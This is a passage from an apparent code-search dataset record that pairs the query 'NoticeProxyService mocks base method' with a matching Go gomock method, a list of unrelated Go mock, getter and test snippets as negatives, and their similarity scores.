reflect.TypeOf((*MockNuvoVM)(nil).GetPitDiffs), arg0, arg1, arg2, arg3)\n}", "func pairGetSetX(L *lua.LState) int {\n\tp := checkPair(L)\n\tif L.GetTop() == 2 { // setter\n\t\tp.X = L.CheckAny(2)\n\t\treturn 0\n\t} else { // getter\n\t\tL.Push(p.X)\n\t\treturn 1\n\t}\n}", "func TestGetBook(t *testing.T) {\n\tbooks := book.GetBook()\n\n\tif len(books) < 1 {\n\t\tt.Errorf(\"No books loaded from database.\")\n\t} else {\n\t\tfmt.Println(\"book.go Func GetBook PASS\")\n\t}\n}", "func (_Rootchain *RootchainCallerSession) PiggybackBond() (*big.Int, error) {\n\treturn _Rootchain.Contract.PiggybackBond(&_Rootchain.CallOpts)\n}", "func (err *RuleNotSatisfied) RuleNotSatisfied() {}", "func (mr *MockRepoKeeperMockRecorder) GetProposalVote(name, propID, voterAddr interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetProposalVote\", reflect.TypeOf((*MockRepoKeeper)(nil).GetProposalVote), name, propID, voterAddr)\n}", "func (mr *MockListenerMockRecorder) Get(listenerKey interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Get\", reflect.TypeOf((*MockListener)(nil).Get), listenerKey)\n}", "func (mr *MockBrokerMockRecorder) GetPositions(arg0 ...interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetPositions\", reflect.TypeOf((*MockBroker)(nil).GetPositions), arg0...)\n}", "func (self *Rectangle) GetPoint() *Point{\n return &Point{self.Object.Call(\"getPoint\")}\n}", "func (m *MockUCCodeHubI) GetPLIn(repo git.Repository, limit, offset int64) (models.PullReqSet, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetPLIn\", repo, limit, offset)\n\tret0, _ := ret[0].(models.PullReqSet)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (p Point) Line() int {\n\treturn p.line\n}", "func (mr *MockIntMockRecorder) Get() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Get\", reflect.TypeOf((*MockInt)(nil).Get))\n}", "func (mr *MockValidatorKeeperMockRecorder) Get(height interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Get\", reflect.TypeOf((*MockValidatorKeeper)(nil).Get), height)\n}", "func (o *TransactionSplit) HasPiggyBankName() bool {\n\tif o != nil && o.PiggyBankName != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "func (mr *MockTopoServerMockRecorder) Get(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Get\", reflect.TypeOf((*MockTopoServer)(nil).Get), arg0, arg1)\n}", "func (o *InlineObject4) GetParamOk() (string, bool) {\n\tif o == nil || o.Param == nil {\n\t\tvar ret string\n\t\treturn ret, false\n\t}\n\treturn *o.Param, true\n}", "func (_mr *MockReaderIteratorPoolMockRecorder) Get() *gomock.Call {\n\treturn _mr.mock.ctrl.RecordCallWithMethodType(_mr.mock, \"Get\", reflect.TypeOf((*MockReaderIteratorPool)(nil).Get))\n}", "func (o *IppoolPoolMember) GetPoolOk() (*IppoolShadowPoolRelationship, bool) {\n\tif o == nil || o.Pool == nil {\n\t\treturn nil, false\n\t}\n\treturn o.Pool, true\n}", "func (mr *MockScoringMockRecorder) GetScore(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetScore\", reflect.TypeOf((*MockScoring)(nil).GetScore), arg0)\n}", "func (adminAPIOp) SkipVerification() bool { return true }", "func (mr *MockToggleMockRecorder) GetProps() *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetProps\", reflect.TypeOf((*MockToggle)(nil).GetProps))\n}", "func (mr *MockToggleMockRecorder) GetProps() *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetProps\", reflect.TypeOf((*MockToggle)(nil).GetProps))\n}", "func (pt *Point) X() int { return pt.x }", "func (o *V0037JobProperties) GetNiceOk() (*string, bool) {\n\tif o == nil || o.Nice == nil {\n\t\treturn nil, false\n\t}\n\treturn o.Nice, true\n}", "func (o *MortgageInterestRate) GetPercentageOk() (*float64, bool) {\n\tif o == nil {\n\t\treturn nil, false\n\t}\n\treturn o.Percentage.Get(), o.Percentage.IsSet()\n}", "func (mr *MockManagerMockRecorder) Get(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Get\", reflect.TypeOf((*MockManager)(nil).Get), arg0)\n}", "func (o *TransactionSplit) HasPiggyBankId() bool {\n\tif o != nil && o.PiggyBankId != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "func (mr *MockpersistentMockRecorder) Get(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Get\", reflect.TypeOf((*Mockpersistent)(nil).Get), arg0)\n}", "func (mr *MockPriceApiMockRecorder) GetPrice(coin interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetPrice\", reflect.TypeOf((*MockPriceApi)(nil).GetPrice), coin)\n}", "func (_Rootchain *RootchainSession) PiggybackBond() (*big.Int, error) {\n\treturn _Rootchain.Contract.PiggybackBond(&_Rootchain.CallOpts)\n}", "func (mr *MockRepoKeeperMockRecorder) Get(name interface{}, blockNum ...interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\tvarargs := append([]interface{}{name}, blockNum...)\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Get\", reflect.TypeOf((*MockRepoKeeper)(nil).Get), varargs...)\n}", "func (mr *MockContractMockRecorder) GetUserScore(arg0, arg1, arg2 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetUserScore\", reflect.TypeOf((*MockContract)(nil).GetUserScore), arg0, arg1, arg2)\n}", "func (_m *TranslationKeyStore) GetPoisonKeyPair() (*keys.Keypair, error) {\n\tret := _m.Called()\n\n\tvar r0 *keys.Keypair\n\tif rf, ok := ret.Get(0).(func() *keys.Keypair); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(*keys.Keypair)\n\t\t}\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func() error); ok {\n\t\tr1 = rf()\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "func TestFindY(t *testing.T) {\n\tvar x big.Int\n\tx.SetString(\"3\", 10)\n\tvar p Point = FindY(&x)\n\tfmt.Println(\"Point p: \", p.x, p.y)\n}", "func (_mr *MockMultiReaderIteratorPoolMockRecorder) Get() *gomock.Call {\n\treturn _mr.mock.ctrl.RecordCallWithMethodType(_mr.mock, \"Get\", reflect.TypeOf((*MockMultiReaderIteratorPool)(nil).Get))\n}", "func TestPr00(t *testing.T) {\n\tconst fname = \"Pr00\"\n\tvar dpsipr, depspr float64\n\ttests := []struct {\n\t\tref string\n\t\tfn func(d1, d2 float64) (d3, d4 float64)\n\t}{\n\t\t{\"cgo\", CgoPr00},\n\t\t{\"go\", GoPr00},\n\t}\n\tfor _, test := range tests {\n\t\ttname := fname + \" \" + test.ref\n\t\tdpsipr, depspr = GoPr00(2400000.5, 53736)\n\n\t\tvvd(t, dpsipr, -0.8716465172668347629e-7, 1e-22,\n\t\t\ttname, \"dpsipr\")\n\t\tvvd(t, depspr, -0.7342018386722813087e-8, 1e-22,\n\t\t\ttname, \"depspr\")\n\t}\n}", "func TestGetNone4A(t *testing.T) {\n}", "func (mr *MockBeanMockRecorder) GetExecutionManager() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetExecutionManager\", reflect.TypeOf((*MockBean)(nil).GetExecutionManager))\n}", "func (mr *MockConfigServiceMockRecorder) GetKeptnResource(resource interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetKeptnResource\", reflect.TypeOf((*MockConfigService)(nil).GetKeptnResource), resource)\n}" ]
[ "0.70429766", "0.55658543", "0.5357794", "0.51201034", "0.5092477", "0.5005847", "0.48481253", "0.4799984", "0.47932816", "0.47747654", "0.47259682", "0.4685058", "0.46355042", "0.46290573", "0.46198413", "0.45642018", "0.4564116", "0.45525253", "0.45483032", "0.45394576", "0.45330125", "0.4527477", "0.45137435", "0.44918492", "0.44600475", "0.44562948", "0.44514263", "0.44510844", "0.44248164", "0.44134277", "0.43973994", "0.43911982", "0.43847975", "0.43663415", "0.43635848", "0.43550944", "0.43545943", "0.43540907", "0.43383828", "0.4334869", "0.4330683", "0.43261796", "0.4325908", "0.43140388", "0.43121663", "0.4309496", "0.4303899", "0.42977473", "0.4296616", "0.429627", "0.42956305", "0.42895046", "0.42885977", "0.42836037", "0.42827922", "0.42827922", "0.4278707", "0.42726177", "0.4271449", "0.42674363", "0.42669836", "0.42663756", "0.42641178", "0.42640275", "0.42609704", "0.4259543", "0.42513946", "0.42472535", "0.42449662", "0.4244607", "0.42442626", "0.4242701", "0.42397714", "0.42377123", "0.4218034", "0.42160618", "0.42126364", "0.421153", "0.42107368", "0.42072567", "0.42065147", "0.42062762", "0.42062762", "0.42054012", "0.42013428", "0.41969788", "0.4195283", "0.41900033", "0.41845816", "0.41841552", "0.41836187", "0.4182522", "0.41817522", "0.41772234", "0.41760576", "0.41758615", "0.41749775", "0.41733184", "0.41683912", "0.41683772" ]
0.7538222
0
NoticeProxyService mocks base method
func (m *MockmonitorInterface) NoticeProxyService(name, endpoint string) error { m.ctrl.T.Helper() ret := m.ctrl.Call(m, "NoticeProxyService", name, endpoint) ret0, _ := ret[0].(error) return ret0 }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (m *MockFieldLogger) Notice(arg0 string, arg1 ...interface{}) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{arg0}\n\tfor _, a := range arg1 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tm.ctrl.Call(m, \"Notice\", varargs...)\n}", "func TestProxyUsecase_Proxy_RedirectToMockServer_Integration(t *testing.T) {\n\tclient := &http.Client{}\n\tnewProject, _ := json.Marshal(inputs.NewProject{\n\t\tTitle: \"New Project\",\n\t\tNetwork: \"MAINNET\",\n\t})\n\n\t// 0. Create a project\n\treq, err := http.NewRequest(\"POST\", \"http://0.0.0.0:8000/api/v1/projects\", strings.NewReader(string(newProject)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tr, err := client.Do(req)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\t_ = r.Body.Close()\n\n\turl, _ := r.Location()\n\tpath := url.Path\n\n\tvar uuidRegex = `(?m)([0-9a-fA-F]{8}\\-[0-9a-fA-F]{4}\\-[0-9a-fA-F]{4}\\-[0-9a-fA-F]{4}\\-[0-9a-fA-F]{12})`\n\tre := regexp.MustCompile(uuidRegex)\n\tvar uuid string\n\tfor _, match := range re.FindAllString(path, -1) {\n\t\tuuid = match\n\t}\n\n\t// 1. Send a dummy request\n\treq, err = http.NewRequest(\"PUT\", \"http://0.0.0.0:8001/v1/\"+uuid+\"/mockserver/status\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tr, err = client.Do(req)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tvar b []byte\n\tb, err = ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\t_ = r.Body.Close()\n\n\tassert.Equal(t, string(b), `{\n \"ports\" : [ 1090 ],\n \"version\" : \"5.9.0\",\n \"artifactId\" : \"mockserver-core\",\n \"groupId\" : \"org.mock-server\"\n}`)\n\n\t// 2. Wait for Go routine\n\ttime.Sleep(65 * time.Second)\n\n\t// 3. Get the number of request done by this project UUID\n\treq, err = http.NewRequest(\"GET\", \"http://0.0.0.0:8000/api/v1/projects/\"+uuid, nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tr, err = client.Do(req)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tb, err = ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\t_ = r.Body.Close()\n\n\ttype HTTPOutput struct {\n\t\tData outputs.ProjectOutputWithMetrics `json:\"data\"`\n\t\tStatus string `json:\"status\"`\n\t}\n\tvar projectOutputWithMetrics HTTPOutput\n\terr = json.Unmarshal(b, &projectOutputWithMetrics)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tnow := time.Now().UTC()\n\tnowMinusOneMonth := now.AddDate(0, -1, 0)\n\trangeTime := now.Sub(nowMinusOneMonth)\n\tnbDaysThisMonth := int(rangeTime.Hours() / 24)\n\n\tassert.Equal(t, \"New Project\", projectOutputWithMetrics.Data.Title)\n\tassert.Equal(t, uuid, projectOutputWithMetrics.Data.UUID)\n\tassert.Equal(t, 1, projectOutputWithMetrics.Data.Metrics.RequestsCount)\n\tassert.Equal(t, nbDaysThisMonth, len(projectOutputWithMetrics.Data.Metrics.RequestsByDay))\n\tassert.Equal(t, 1, len(projectOutputWithMetrics.Data.Metrics.RPCUsage))\n\tassert.Equal(t, 1, projectOutputWithMetrics.Data.Metrics.RPCUsage[0].Value)\n\tassert.Equal(t, \"/mockserver/status\", projectOutputWithMetrics.Data.Metrics.RPCUsage[0].ID)\n\tassert.Equal(t, \"/mockserver/status\", projectOutputWithMetrics.Data.Metrics.RPCUsage[0].Label)\n}", "func (m *MockResponseHandler) NotModified() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"NotModified\")\n}", "func mockedGranter(kubeutil *kube.Kube, app *v1.RadixRegistration, namespace string, serviceAccount *corev1.ServiceAccount) error {\n\treturn nil\n}", "func (m *MockUnsafePdfServiceServer) mustEmbedUnimplementedPdfServiceServer() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"mustEmbedUnimplementedPdfServiceServer\")\n}", "func (m *MockServiceExecutor) SetNotiImpl(noti notification.Notification) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"SetNotiImpl\", noti)\n}", "func Test_IndexHandler(t *testing.T) {\n\tvar (\n\t\tversionMsg Service\n\t\tresp *http.Response\n\t)\n\n\tsvc := NewService()\n\n\tts := httptest.NewServer(svc.NewRouter(\"*\"))\n\tdefer ts.Close()\n\n\treq, _ := http.NewRequest(\"GET\", ts.URL+\"/\", nil)\n\n\toutputLog := helpers.CaptureOutput(func() {\n\t\tresp, _ = http.DefaultClient.Do(req)\n\t})\n\n\tif got, want := resp.StatusCode, 200; got != want {\n\t\tt.Fatalf(\"Invalid status code, got %d but want %d\", got, want)\n\t}\n\n\tdata, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\tt.Fatalf(\"Got an error when reading body: %s\", err.Error())\n\t}\n\n\terr = json.Unmarshal(data, &versionMsg)\n\tif err != nil {\n\t\tt.Fatalf(\"Got an error when parsing json: %s\", err.Error())\n\t}\n\tif got, want := versionMsg.Version, svc.Version; got != want {\n\t\tt.Fatalf(\"Wrong version return, got %s but want %s\", got, want)\n\t}\n\tif got, want := versionMsg.Name, svc.Name; got != want {\n\t\tt.Fatalf(\"Wrong version return, got %s but want %s\", got, want)\n\t}\n\n\tmatched, err := regexp.MatchString(`uri=/ `, outputLog)\n\tif matched != true || err != nil {\n\t\tt.Fatalf(\"request is not logged :\\n%s\", outputLog)\n\t}\n}", "func (m *MockNotary) Notarize(arg0 string) (map[string]interface{}, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Notarize\", arg0)\n\tret0, _ := ret[0].(map[string]interface{})\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockapprunnerDescriber) Service() (*apprunner.Service, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Service\")\n\tret0, _ := ret[0].(*apprunner.Service)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockLiiklusServiceClient) Publish(arg0 context.Context, arg1 *liiklus.PublishRequest, arg2 ...grpc.CallOption) (*liiklus.PublishReply, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{arg0, arg1}\n\tfor _, a := range arg2 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"Publish\", varargs...)\n\tret0, _ := ret[0].(*liiklus.PublishReply)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func newMockSubscriber() mockSubscriber {\n\treturn mockSubscriber{}\n}", "func (m *MockProvider) OnServiceUpdate(arg0, arg1 *v1.Service) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"OnServiceUpdate\", arg0, arg1)\n}", "func (m *MockRPCServer) registerServicesProxy(ctx context.Context) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"registerServicesProxy\", ctx)\n}", "func (m *MockRemotePeer) UpdateLastNotice(blkHash types.BlockID, blkNumber types.BlockNo) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"UpdateLastNotice\", blkHash, blkNumber)\n}", "func TestProxyFunc(t *testing.T) {\n\ttests := []struct {\n\t\tprefix string\n\t\tredirectURL string\n\t\treqURL string\n\t\trestURL string\n\t\tresponse string\n\t\terrText string\n\t\terrFunc func(io.Writer, io.Reader) (int64, error)\n\t\terrCode int\n\t}{\n\t\t{\n\t\t\t\"/no-prefix\", \"http://redir\", \"\", \"\",\n\t\t\t\"\", \"\", nil, http.StatusBadRequest,\n\t\t},\n\t\t{\n\t\t\t\"/prefix1\", \"http://redir1\", \"/prefix1/test\", \"http://redir1/test\",\n\t\t\t\"good\", \"\", nil,\n\t\t\thttp.StatusOK,\n\t\t},\n\t\t{\n\t\t\t\"/pre2\", \"http://re2\", \"/pre2/test/value\", \"http://re2/test/value\",\n\t\t\t\"BAD GATEWAY\", \"bad gateway err test\", nil,\n\t\t\thttp.StatusBadGateway,\n\t\t},\n\t\t{\n\t\t\t\"/pre3\", \"http://re3\", \"/pre3/test/3\", \"http://re3/test/3\",\n\t\t\t\"io.Copy err test\", \"\", ioCopyErrorFunc,\n\t\t\thttp.StatusInternalServerError,\n\t\t},\n\t}\n\n\tsavedIoCopy := ioCopy\n\tsavedClient := proxyClient\n\tdefer func() {\n\t\t// restoring ioCopy and proxyClient (see definition in proxy.go)\n\t\tioCopy = savedIoCopy\n\t\tproxyClient = savedClient\n\t}()\n\n\tfor idx, test := range tests {\n\t\tvar err error\n\t\tif test.errText != \"\" {\n\t\t\terr = errors.New(test.errText)\n\t\t}\n\t\tvar clientCode = http.StatusOK\n\t\tif test.errFunc != nil {\n\t\t\tclientCode = http.StatusNotAcceptable\n\t\t\tioCopy = test.errFunc\n\t\t} else {\n\t\t\tioCopy = savedIoCopy\n\t\t}\n\t\tclient := &MockProxyClient{\n\t\t\tStatusCode: clientCode,\n\t\t\tResponseText: test.response,\n\t\t\tErr: err,\n\t\t}\n\n\t\treq, _ := http.NewRequest(\"GET\", test.reqURL, nil)\n\t\treq.Header.Set(\"Foobar\", \"Foobar header test\")\n\t\tmsg := fmt.Sprintf(\"%s => %s\", test.reqURL, test.restURL)\n\t\tt.Logf(\"Test %2d: %s\\n\", idx+1, msg)\n\t\tproxyClient = client\n\t\trwr := httptest.NewRecorder()\n\t\t// here start to test the function\n\t\tProxy(test.prefix, test.redirectURL, rwr, req)\n\n\t\tif test.reqURL == \"\" {\n\t\t\tassert.Equal(t, http.StatusBadRequest, rwr.Code)\n\t\t\tcontinue\n\t\t}\n\n\t\tdata, err := ioutil.ReadAll(rwr.Body)\n\t\tproxyHeader := client.Request.Header\n\t\tproxyReq := client.Request\n\n\t\t// t.Logf(\"request: %#v\\n\", req)\n\t\t// t.Logf(\"proxy: %#v (%s)\\n\", proxyReq, proxyReq.URL)\n\t\t// t.Logf(\"record: %#v\\n\", rwr)\n\t\tassert.Equal(t, req.URL.Path, test.reqURL)\n\t\tassert.Equal(t, req.Method, proxyReq.Method)\n\t\tassert.Equal(t, req.Host, proxyHeader.Get(\"Host\"))\n\t\tassert.Equal(t, \"Foobar header test\", proxyHeader.Get(\"Foobar\"))\n\t\tassert.Equal(t, \"gzip;q=0,deflate;q=0\", proxyHeader.Get(\"Accept-Encoding\"))\n\t\tassert.Equal(t, req.RemoteAddr, proxyHeader.Get(\"X-Forwarded-For\"))\n\t\tassert.Equal(t, test.restURL, proxyReq.URL.String())\n\n\t\tif test.errFunc != nil {\n\t\t\tassert.Contains(t, string(data), \"mocked io.Copy error\")\n\t\t\tassert.Equal(t, http.StatusNotAcceptable, rwr.Code)\n\t\t} else {\n\t\t\tif test.errText != \"\" {\n\t\t\t\tassert.Contains(t, string(data), test.errText)\n\t\t\t\tassert.Equal(t, http.StatusBadGateway, rwr.Code)\n\t\t\t} else if err != nil {\n\t\t\t\tassert.Contains(t, string(data), test.response)\n\t\t\t\tassert.Equal(t, http.StatusOK, rwr.Code)\n\t\t\t}\n\t\t}\n\t}\n}", "func (lc mockNotifyLogger) Info(msg string, args ...interface{}) {\n}", "func (m *CloudWatchLogsServiceMock) CreateNewServiceIfUnHealthy() {\n\n}", "func (m *MockProxyClient) ProxyUpdate(ctx context.Context, in *ProxyRequestMsg, opts ...grpc.CallOption) (*ProxyResponseMsg, error) {\n\tvarargs := []interface{}{ctx, in}\n\tfor _, a := range opts {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"ProxyUpdate\", varargs...)\n\tret0, _ := ret[0].(*ProxyResponseMsg)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockProvider) OnServiceSynced() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"OnServiceSynced\")\n}", "func (m *MockProxyServer) ProxyUpdate(arg0 context.Context, arg1 *ProxyRequestMsg) (*ProxyResponseMsg, error) {\n\tret := m.ctrl.Call(m, \"ProxyUpdate\", arg0, arg1)\n\tret0, _ := ret[0].(*ProxyResponseMsg)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockecsClient) Service(app, env, svc string) (*ecs.Service, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Service\", app, env, svc)\n\tret0, _ := ret[0].(*ecs.Service)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockUnsafeTodoServiceServer) mustEmbedUnimplementedTodoServiceServer() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"mustEmbedUnimplementedTodoServiceServer\")\n}", "func (m *MockProvider) Service(arg0 string) (interface{}, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Service\", arg0)\n\tret0, _ := ret[0].(interface{})\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockapprunnerDescriber) ServiceURL() (string, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"ServiceURL\")\n\tret0, _ := ret[0].(string)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockisListenResponse_Content) isListenResponse_Content() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"isListenResponse_Content\")\n}", "func (m *MockProvider) OnServiceAdd(arg0 *v1.Service) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"OnServiceAdd\", arg0)\n}", "func (m *MockProc) OnSvcAllHostReplace(arg0 []*host.Host) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"OnSvcAllHostReplace\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (mr *MockmonitorInterfaceMockRecorder) NoticeProxyService(name, endpoint interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"NoticeProxyService\", reflect.TypeOf((*MockmonitorInterface)(nil).NoticeProxyService), name, endpoint)\n}", "func (m *MockInterface) Notify(ref, state, message string) error {\n\tret := m.ctrl.Call(m, \"Notify\", ref, state, message)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockProxy) Modify(proxy api.Proxy) (api.Proxy, error) {\n\tret := m.ctrl.Call(m, \"Modify\", proxy)\n\tret0, _ := ret[0].(api.Proxy)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func TestProxyValid(t *testing.T) {\n\n\treq, err := http.NewRequest(\"GET\", \"/\", nil)\n\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tw := httptest.NewRecorder()\n\tbeego.Debug(\"hola\")\n\t//ctx := context.NewContext()\n\t//beego.Debug(ctx)\n\t//ctx.Reset(w, req)\n\t//ctx.Input = context.NewInput()\n\n\t//ctx.Input.SetData(\"hola\", \"maria\")\n\t//beego.Debug(ctx.Input.GetData(\"hola\"))\n\n\t//date := beego.Date(time.Date(2016, 05, 18, 12, 37, 30, 0, gmt), time.UnixDate)\n\tbeego.BeeApp.Handlers.ServeHTTP(w, req)\n\n\tbeego.Trace(\"testing\", \"TestProxyValid\", \"Code[%d]\\n%s\", w.Code, w.Body.String())\n\n\tConvey(\"Subject: Test Station Endpoint\\n\", t, func() {\n\t\tConvey(\"Status Code Should Be 200\", func() {\n\t\t\tSo(w.Code, ShouldEqual, 200)\n\t\t})\n\t})\n\n}", "func (m *MockVirtualServiceClient) BaseClient() clients.ResourceClient {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"BaseClient\")\n\tret0, _ := ret[0].(clients.ResourceClient)\n\treturn ret0\n}", "func (m *MockNotifier) Notify(arg0 string, arg1 []byte) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Notify\", arg0, arg1)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockRPCServer) registerServices() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"registerServices\")\n}", "func (m *MockUnsafeLinkServiceServer) mustEmbedUnimplementedLinkServiceServer() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"mustEmbedUnimplementedLinkServiceServer\")\n}", "func (ft *FacadeUnitTest) Test_PoolCacheEditService(c *C) {\n\tft.setupMockDFSLocking()\n\n\tpc := NewPoolCacheEnv()\n\n\tft.hostStore.On(\"FindHostsWithPoolID\", ft.ctx, pc.resourcePool.ID).\n\t\tReturn([]host.Host{pc.firstHost, pc.secondHost}, nil)\n\n\tft.poolStore.On(\"GetResourcePools\", ft.ctx).\n\t\tReturn([]pool.ResourcePool{pc.resourcePool}, nil)\n\n\tft.serviceStore.On(\"GetServicesByPool\", ft.ctx, pc.resourcePool.ID).\n\t\tReturn([]service.Service{pc.firstService, pc.secondService}, nil).Once()\n\n\tft.serviceStore.On(\"GetServiceDetails\", ft.ctx, pc.firstService.ID).\n\t\tReturn(&service.ServiceDetails{\n\t\t\tID: pc.firstService.ID,\n\t\t\tRAMCommitment: pc.firstService.RAMCommitment,\n\t\t}, nil)\n\n\tft.serviceStore.On(\"Get\", ft.ctx, pc.firstService.ID).\n\t\tReturn(&pc.firstService, nil)\n\n\tft.serviceStore.On(\"Put\", ft.ctx, mock.AnythingOfType(\"*service.Service\")).\n\t\tReturn(nil)\n\n\tft.serviceStore.On(\"GetServiceDetailsByParentID\", ft.ctx, mock.AnythingOfType(\"string\"), mock.AnythingOfType(\"time.Duration\")).\n\t\tReturn([]service.ServiceDetails{}, nil)\n\n\tft.configStore.On(\"GetConfigFiles\", ft.ctx, mock.AnythingOfType(\"string\"), mock.AnythingOfType(\"string\")).\n\t\tReturn([]*serviceconfigfile.SvcConfigFile{}, nil)\n\n\temptyMap := []*servicetemplate.ServiceTemplate{}\n\tft.templateStore.On(\"GetServiceTemplates\", ft.ctx).Return(emptyMap, nil)\n\n\tft.zzk.On(\"UpdateService\", ft.ctx, mock.AnythingOfType(\"string\"), mock.AnythingOfType(\"*service.Service\"), false, false).\n\t\tReturn(nil)\n\n\n\tpools, err := ft.Facade.GetReadPools(ft.ctx)\n\tc.Assert(err, IsNil)\n\tc.Assert(pools, Not(IsNil))\n\tc.Assert(len(pools), Equals, 1)\n\n\tp := pools[0]\n\n\tc.Assert(p.ID, Equals, pc.resourcePool.ID)\n\tc.Assert(p.MemoryCommitment, Equals, uint64(3000))\n\n\tpc.firstService.RAMCommitment = utils.EngNotation{\n\t\tValue: uint64(2000),\n\t}\n\n\terr = ft.Facade.UpdateService(ft.ctx, pc.firstService)\n\tc.Assert(err, IsNil)\n\n\t// Make sure that we return the new secondService with the updated RAMCommitment\n\tft.serviceStore.On(\"GetServicesByPool\", ft.ctx, pc.resourcePool.ID).\n\t\tReturn([]service.Service{pc.firstService, pc.secondService}, nil).Once()\n\n\t// GetReadPools should see that the cache is dirty, and update itself\n\tpools, err = ft.Facade.GetReadPools(ft.ctx)\n\tc.Assert(err, 